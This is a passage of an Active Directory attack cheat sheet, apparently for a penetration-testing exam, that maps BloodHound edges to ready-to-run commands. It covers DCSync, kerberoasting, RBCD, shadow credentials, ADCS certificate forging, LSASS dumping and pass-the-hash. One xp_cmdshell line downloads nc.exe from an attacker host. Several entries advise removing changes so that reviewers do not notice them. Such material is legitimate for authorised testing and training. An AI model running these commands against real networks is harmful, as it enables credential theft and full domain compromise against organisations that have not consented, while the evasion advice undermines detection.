bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add groupMember $TARGET $MEimpacket-getTGT "$DOMAIN/$ME:$MEPASS" -dc-ip $IP
TARGET is a computer

LAPS first if it is there, then RBCD, then shadow creds on the machine account

nxc ldap $DC -u $ME -p $MEPASS -M lapsbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add rbcd $TARGET $FAKEPCcertipy shadow auto -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -account $TARGET
TARGET is the domain
bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add dcsync $MEimpacket-secretsdump "$DOMAIN/$ME:$MEPASS@$DC" -just-dc-ntlm
TARGET is a GPO

see WriteGPLink for what to do once you can edit one

pygpoabuse "$DOMAIN/$ME:$MEPASS" -gpo-id <guid> -command "net localgroup administrators $ME /add" -f

GenericWrite [6]exam: likely

you can write most attributes on TARGET, but not the ACL and not the password. In practice it reaches the same places as GenericAll by a different route

TARGET is a user

writing an SPN then kerberoasting is the clean one — nothing about the account changes afterwards

bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS set object $TARGET servicePrincipalName -v "$SPN"impacket-GetUserSPNs "$DOMAIN/$ME:$MEPASS" -dc-ip $IP -request-user $TARGET -outputfile $WORKDIR/loot/roast.mdhashcat -m 13100 $WORKDIR/loot/roast.md $ROCKYOUbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS set object $TARGET servicePrincipalName -v ""
or shadow credentials
certipy shadow auto -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -account $TARGET
or turn off pre-authentication

then AS-REP roast it. Put the flag back when you are done

bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add uac $TARGET -f DONT_REQ_PREAUTHimpacket-GetNPUsers "$DOMAIN/" -usersfile <(echo $TARGET) -format hashcat -dc-ip $IPhashcat -m 18200 asrep.md $ROCKYOUbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS remove uac $TARGET -f DONT_REQ_PREAUTH
TARGET is a computer
bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add rbcd $TARGET $FAKEPCimpacket-getST -spn cifs/$THOST -impersonate administrator "$DOMAIN/$FAKEPC:$FAKEPASS" -dc-ip $IP
TARGET is a group
bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add groupMember $TARGET $ME
from windows
Set-DomainObject -Identity $TARGET -Set @{serviceprincipalname='$SPN'}.\Rubeus.exe kerberoast /user:$TARGET /nowrapSet-DomainObject -Identity $TARGET -Clear serviceprincipalname

GetChanges [1]exam: likely

half of DCSync. On its own it gets you nothing — you need GetChangesAll with it

check for the other half
nxc ldap $DC -u $ME -p $MEPASS -M daclread -o TARGET_DN="DC=$(echo $DOMAIN | sed 's/\./,DC=/g')" ACTION=read# both present → see DCSync# only this one → look for an edge that lets you grant the other (WriteDacl on the domain)

GetChangesAll [1]exam: likely

the other half. With GetChanges, it is DCSync

go to DCSync
impacket-secretsdump "$DOMAIN/$ME:$MEPASS@$DC" -just-dc-ntlm

GetChangesInFilteredSet [1]exam: rare

replication of the filtered attribute set. Not enough for a normal DCSync, but it reaches secrets stored in those attributes, LAPS among them

what to do with it
nxc ldap $DC -u $ME -p $MEPASS -M lapsbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS get object $TARGET --attr ms-Mcs-AdmPwd

GoldenCert [2]exam: possible

you control the CA host, so you can take its private key and sign a certificate for anyone. ESC7's end state, and it outlives every password reset

take the CA key
certipy ca -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -backup.\mimikatz.exe "crypto::capi" "crypto::certtohw" exit
forge a certificate as administrator
certipy forge -ca-pfx $CA.pfx -upn "administrator@$DOMAIN" -subject "CN=Administrator,CN=Users,DC=..."certipy auth -pfx administrator.pfx -dc-ip $IP

H – O

HasSession [4]exam: likely

that user had a session on this computer when the data was collected. Get administrator there and their credential is probably still in memory

it is a snapshot, not a promise

sessions end. Check it is still there before you spend time getting onto the box

nxc smb $THOST -u $ME -p $MEPASS --loggedon-usersnxc smb $SUBNET -u $ME -p $MEPASS --sessionsGet-NetLoggedon -ComputerName $THOST
you need local admin first

this edge is worth nothing until you are administrator on that host. Find the edge that gets you there, then come back

nxc smb $THOST -u $ME -p $MEPASS
take what is in memory
nxc smb $THOST -u $ME -p $MEPASS -M lsassynxc smb $THOST -u $ME -p $MEPASS --lsaimpacket-secretsdump "$DOMAIN/$ME:$MEPASS@$THOST"
on the box

tickets are often better than hashes — a TGT for the user is an immediate impersonation, no cracking

.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit.\Rubeus.exe triage.\Rubeus.exe dump /user:$TARGET /nowrap.\Rubeus.exe ptt /ticket:<base64>

HasSIDHistory [2]exam: rare

the account carries another principal's SID in its history, so it gets that principal's access as well

read it
bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS get object $TARGET --attr sIDHistoryGet-DomainUser -Identity $TARGET -Properties sidhistory
what it means for you
# the account you hold already has the access of the SID in its history —# nothing to run, just follow that other node's outbound edges instead

HasTrustKeys [1]exam: rare

the trust key between two domains. With it you can forge an inter-realm ticket and walk into the other domain

out of exam scope

the exam set is one domain. Here for recognition

impacket-secretsdump "$DOMAIN/$ME:$MEPASS@$DC" -just-dc-user "$DOMAIN2\$".\mimikatz.exe "lsadump::trust /patch" exit

HostsCAService [1]exam: none

this computer runs that certificate authority

what it tells you
# not an action. It names the host every certipy -target goes to. Local admin# on it is GoldenCert — see that entry

IssuedSignedBy [1]exam: none

one CA certificate was signed by another

what it tells you
# not an action. It is the chain up to the root CA, which is what makes a# forged certificate trusted domain-wide

LocalToComputer [1]exam: none

this principal is local to that computer rather than a domain object

what it tells you
# not an action. It marks a local account or group, so an edge through it only# applies on that one host. Local admin hashes are reused across boxes far more# often than they should be — try it everywhere:nxc smb $SUBNET -u administrator -H <local hash> --local-auth

ManageCA [2]exam: possible

CA administrator. You can turn on the SAN flag, approve your own requests and make yourself an officer. ESC7

the short route

certipy does the officer grant, the template enable, the request and the cleanup

certipy ca -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -add-officer $MEcertipy ca -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -enable-template SubCAcertipy req -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -template SubCA -upn "administrator@$DOMAIN"# it is denied — note the request id, then issue it yourselfcertipy ca -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -issue-request <id>certipy req -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -retrieve <id>certipy auth -pfx administrator.pfx -dc-ip $IP
or set the SAN flag and use any template

this is ESC6 by hand. It changes CA configuration, so put it back

certipy ca -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -enable-sancertipy req -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -template User -upn "administrator@$DOMAIN"

ManageCertificates [1]exam: possible

certificate manager, or officer. You can approve pending requests — the second half of the ESC7 chain

issue a pending request
certipy ca -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -issue-request <id>certipy req -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -retrieve <id>

MemberOf [1]exam: none

group membership

what it tells you
# not an action. Everything the group can do, this member can do — follow the# group's outbound edges. The reason BloodHound paths are usually longer than# they look is that most rights are held by a group, not a user

MemberOfLocalGroup [1]exam: none

membership of a local group on a computer

what it tells you
# not an action. It is how AdminTo, CanRDP, CanPSRemote and ExecuteDCOM are# worked out — the local group is the reason you have that access

NTAuthStoreFor [1]exam: none

this NTAuth store serves that domain

what it tells you
# not an action. A CA in the NTAuth store is a CA whose certificates the domain# will accept for logon, which is what makes the ADCS entries work at all

Owns [4]exam: likely

you own TARGET. An owner can always rewrite the ACL, so this is WriteDacl with one extra step

grant yourself full control
impacket-dacledit -action write -rights FullControl -principal $ME -target $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IPbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add genericAll $TARGET $ME
from windows
Add-DomainObjectAcl -TargetIdentity $TARGET -PrincipalIdentity $ME -Rights All
then

you now have GenericAll — go to that entry and pick by what TARGET is

# user → shadow creds / targeted roast / password reset# group → add yourself# computer → LAPS / RBCD# domain → DCSync
cleanup
impacket-dacledit -action remove -rights FullControl -principal $ME -target $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IP

OwnsLimitedRights [2]exam: possible

ownership where the implicit owner rights have been trimmed down. You still hold WriteOwner or WriteDacl over part of the object

see what you actually have
impacket-dacledit -action read -principal $ME -target $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IP
then
# treat it as WriteDacl — grant yourself what is missing and carry on therebloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add genericAll $TARGET $ME

P – S

ProtectAdminGroups [1]exam: none

AdminSDHolder. The object is protected, so its ACL is stamped back over every hour

what it tells you

it explains a failure you would otherwise waste time on — an ACE you wrote on a protected account disappears within the hour

# if you write an ACL on a protected object, use it immediately# writing the ACL on AdminSDHolder itself is the other way round: it propagates# down to every protected account, which is a persistence trick, not a pathGet-DomainObject -Identity $TARGET -Properties admincount

PublishedTo [1]exam: none

the template is published to that CA, so requests for it go there

what it tells you
# not an action. It pairs the template with the CA name your certipy -ca needs

ReadGMSAPassword [3]exam: likely

you may read a group managed service account's password blob. Managed accounts are service accounts, and service accounts are usually privileged

read it

the blob is the password. gMSADumper turns it into an NT hash you can pass

nxc ldap $DC -u $ME -p $MEPASS --gmsapython3 gMSADumper.py -u $ME -p $MEPASS -d $DOMAINbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS get object $TARGET --attr msDS-ManagedPassword
from windows
$o = Get-ADServiceAccount -Identity $TARGET -Properties msDS-ManagedPassword$b = ConvertFrom-ADManagedPasswordBlob $o.'msDS-ManagedPassword'.\GMSAPasswordReader.exe --accountname $TARGET
then

the account name ends in $. It cannot be used for an interactive logon, but the hash passes everywhere else

nxc smb $SUBNET -u '$TARGET' -H <nt hash>impacket-psexec -hashes :<nt hash> "$DOMAIN/$TARGET@$THOST"

ReadLAPSPassword [3]exam: likely

you may read the local administrator password of that computer. It is a plaintext password, so there is nothing to crack and nothing to forge

read it

legacy LAPS is ms-Mcs-AdmPwd; Windows LAPS is msLAPS-Password. Try both, the module handles it

nxc ldap $DC -u $ME -p $MEPASS -M lapsnxc ldap $DC -u $ME -p $MEPASS -M laps -o COMPUTER=$TARGETbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS get object $TARGET --attr ms-Mcs-AdmPwdpython3 pyLAPS.py --action get -d $DOMAIN -u $ME -p $MEPASS --dc-ip $IP
from windows
Get-DomainComputer $TARGET -Properties ms-mcs-admpwdGet-LAPSADPassword -Identity $TARGET -AsPlainText
then

it is the local administrator, so --local-auth, not the domain

nxc smb $THOST -u administrator -p '<laps password>' --local-authimpacket-psexec "administrator:<laps password>@$THOST"evil-winrm -i $THOST -u administrator -p '<laps password>'

RemoteInteractiveLogonRight [1]exam: none

the right that sits behind CanRDP

what it tells you
# not an action — see CanRDP, which is the edge with the commands on it

RootCAFor [1]exam: none

this root CA is trusted for that domain

what it tells you
# not an action. It is the top of the chain a forged certificate needs to come# from — see GoldenCert

SameForestTrust [1]exam: rare

a trust between two domains in one forest. SID filtering is off inside a forest, so a child domain can reach the forest root

the shape of it

out of scope for the exam set, which is one domain. Worth recognising on a lab

Get-DomainTrustnxc ldap $DC -u $ME -p $MEPASS -M enum_trusts# with the child krbtgt hash, a golden ticket with the Enterprise Admins SID# from the parent crosses the trust — the SID history edge is SpoofSIDHistory

ServerIs [1]exam: none

internal wiring between a node and the server it represents

what it tells you
# not an action. Ignore it and read the next edge along

SpoofSIDHistory [1]exam: rare

the trust does not filter SIDs, so a ticket forged in the trusted domain can claim a privileged SID in the other one

out of exam scope
# one domain on the exam, so this will not come up there# the ingredients: the trust key (HasTrustKeys), and the target domain's SIDimpacket-lookupsid "$DOMAIN/$ME:$MEPASS@$DC" 0 | head -2

SQLAdmin [4]exam: likely

you are a sysadmin on the MSSQL instance on THOST. xp_cmdshell runs as the service account, and a service account with SeImpersonate is SYSTEM

confirm it
nxc mssql $THOST -u $ME -p $MEPASS --local-authnxc mssql $THOST -u $ME -p $MEPASS -q "SELECT IS_SRVROLEMEMBER('sysadmin')"impacket-mssqlclient "$DOMAIN/$ME:$MEPASS@$THOST" -windows-auth
execution

enable_xp_cmdshell in the impacket shell does the two reconfigure lines for you

nxc mssql $THOST -u $ME -p $MEPASS -X "whoami"# in impacket-mssqlclient:# enable_xp_cmdshell# xp_cmdshell whoami

it usually lands you as a service account with SeImpersonate. That is a potato away from SYSTEM — see the windows privesc phase of the cheatsheet

# xp_cmdshell whoami /priv# xp_cmdshell "certutil -urlcache -f http://$LHOST:8000/nc.exe C:\Windows\Temp\nc.exe"
linked servers

a link to another instance may run there as a different and better account

# in impacket-mssqlclient: enum_links, then use_link <name>

SyncedToADUser [1]exam: rare

this Entra user and that AD user are the same person

what it tells you
# not an action, and not on the exam. It is the hinge between the cloud half# of a graph and the on-premises half

SyncLAPSPassword [2]exam: possible

replication rights over the LAPS attribute. A different route to the same password as ReadLAPSPassword

read it
nxc ldap $DC -u $ME -p $MEPASS -M lapsbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS get object $TARGET --attr ms-Mcs-AdmPwd
then
nxc smb $THOST -u administrator -p '<laps password>' --local-auth

T – W

TrustedForNTAuth [1]exam: none

this CA is in the NTAuth store, so the domain accepts its certificates for logon

what it tells you
# not an action. It is the property that makes every ADCS entry on this page# worth running against that CA

WriteAccountRestrictions [4]exam: likely

you can write the account restriction attributes on TARGET, msDS-AllowedToActOnBehalfOfOtherIdentity among them. In practice this is RBCD

a computer you control
impacket-addcomputer "$DOMAIN/$ME:$MEPASS" -computer-name $FAKEPC -computer-pass $FAKEPASS -dc-ip $IPnxc ldap $DC -u $ME -p $MEPASS -M maq
delegate to it
impacket-rbcd -action write -delegate-from $FAKEPC -delegate-to $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IPbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add rbcd $TARGET $FAKEPC
impersonate administrator to it
impacket-getST -spn cifs/$THOST -impersonate administrator "$DOMAIN/$FAKEPC:$FAKEPASS" -dc-ip $IPexport KRB5CCNAME=$(ls -t administrator@*.ccache | head -1)impacket-psexec -k -no-pass "$DOMAIN/administrator@$THOST"
cleanup
impacket-rbcd -action remove -delegate-from $FAKEPC -delegate-to $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IP

WriteAltSecurityIdentities [2]exam: rare

you can write the attribute that maps a certificate to an account. Map one you hold to TARGET and authenticate as them

map a certificate you control

needs strong certificate mapping to be off or weakly enforced on the DC

bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS set object $TARGET altSecurityIdentities -v "X509:<I>DC=htb,DC=corp,CN=$CA<S>CN=$ME"certipy auth -pfx $ME.pfx -username $TARGET -domain $DOMAIN -dc-ip $IP
cleanup
bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS set object $TARGET altSecurityIdentities -v ""

WriteDacl [6]exam: likely

you can edit TARGET's ACL. Grant yourself whatever right finishes the job, use it, take it back off

read what is there now
impacket-dacledit -action read -principal $ME -target $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IPGet-ObjectAcl -Identity $TARGET -ResolveGUIDs | ? { $_.SecurityIdentifier -match $(Get-DomainUser $ME).objectsid }
grant yourself full control
impacket-dacledit -action write -rights FullControl -principal $ME -target $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IPbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add genericAll $TARGET $ME
or just DCSync, when TARGET is the domain

the narrower grant. Two replication rights rather than full control of the domain object

impacket-dacledit -action write -rights DCSync -principal $ME -target "$DOMAIN" "$DOMAIN/$ME:$MEPASS" -dc-ip $IPbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add dcsync $MEimpacket-secretsdump "$DOMAIN/$ME:$MEPASS@$DC" -just-dc-ntlm
from windows
Add-DomainObjectAcl -TargetIdentity $TARGET -PrincipalIdentity $ME -Rights AllAdd-DomainObjectAcl -TargetIdentity "$DOMAIN" -PrincipalIdentity $ME -Rights DCSync
then
# you have GenericAll now — go to that entry and pick by what TARGET is
cleanup

an ACE you leave behind is the loudest thing on this page. Remove it

impacket-dacledit -action remove -rights FullControl -principal $ME -target $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IPbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS remove genericAll $TARGET $ME

WriteOwner [5]exam: likely

you can make yourself the owner of TARGET. Owner rewrites the ACL, so this is three steps to full control

take ownership
impacket-owneredit -action write -new-owner $ME -target $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IPbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS set owner $TARGET $ME
grant yourself full control
impacket-dacledit -action write -rights FullControl -principal $ME -target $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IPbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add genericAll $TARGET $ME
from windows
Set-DomainObjectOwner -Identity $TARGET -OwnerIdentity $MEAdd-DomainObjectAcl -TargetIdentity $TARGET -PrincipalIdentity $ME -Rights All
then
# GenericAll — pick by what TARGET is
cleanup

read the original owner before you change it, so you can put that back too

impacket-owneredit -action read -target $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IPimpacket-dacledit -action remove -rights FullControl -principal $ME -target $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IP

WriteOwnerLimitedRights [2]exam: possible

you can set the owner, but the implicit owner rights have been trimmed. You may still end up able to rewrite the ACL

take it and look
impacket-owneredit -action write -new-owner $ME -target $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IPimpacket-dacledit -action read -principal $ME -target $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IP
then
# if WriteDacl came with it, carry on at WriteOwner. If not, the ownership# alone buys nothing here — look for another edge

WritePKIEnrollmentFlag [2]exam: possible

you can write msPKI-Enrollment-Flag on a template. Clearing manager approval is half of turning it into an ESC1

drop the approval requirement
bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS set object $TEMPLATE msPKI-Enrollment-Flag -v 0certipy template -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -template $TEMPLATE -save-old
then
# pair it with WritePKINameFlag and you have ESC4 — see that entry

WritePKINameFlag [2]exam: possible

you can write msPKI-Certificate-Name-Flag. Setting ENROLLEE_SUPPLIES_SUBJECT is the other half

let the requester name the subject
bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS set object $TEMPLATE msPKI-Certificate-Name-Flag -v 1
then
# see ADCSESC4 — request with -upn administrator@$DOMAIN, then put the# template back the way you found it

WritePublicInformation [1]exam: rare

write access to the public information property set, which includes servicePrincipalName

targeted kerberoast
bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS set object $TARGET servicePrincipalName -v "$SPN"impacket-GetUserSPNs "$DOMAIN/$ME:$MEPASS" -dc-ip $IP -request-user $TARGET -outputfile $WORKDIR/loot/roast.mdhashcat -m 13100 $WORKDIR/loot/roast.md $ROCKYOUbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS set object $TARGET servicePrincipalName -v ""

WriteSPN [5]exam: likely

you can write TARGET's servicePrincipalName. Give them an SPN, kerberoast them, take it back off. Nothing about the account changes

it only pays if the password is crackable

a service account picked by a human usually is. A managed account never will be — check for the $ on the end first

bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS get object $TARGET --attr servicePrincipalName,pwdLastSet
write the SPN

it has to be unique in the domain. Anything will do as long as nothing else has it

bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS set object $TARGET servicePrincipalName -v "$SPN"impacket-addspn -u "$DOMAIN\\$ME" -p $MEPASS -t $TARGET -s $SPN $DC
roast it
impacket-GetUserSPNs "$DOMAIN/$ME:$MEPASS" -dc-ip $IP -request-user $TARGET -outputfile $WORKDIR/loot/roast.mdhashcat -m 13100 $WORKDIR/loot/roast.md $ROCKYOUhashcat -m 13100 $WORKDIR/loot/roast.md $ROCKYOU -r /usr/share/hashcat/rules/best64.rule
from windows
Set-DomainObject -Identity $TARGET -Set @{serviceprincipalname='$SPN'}.\Rubeus.exe kerberoast /user:$TARGET /nowrapSet-DomainObject -Identity $TARGET -Clear serviceprincipalname
cleanup

do this even if the crack fails. An SPN left on a user account is an odd thing for a reviewer to find

bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS set object $TARGET servicePrincipalName -v ""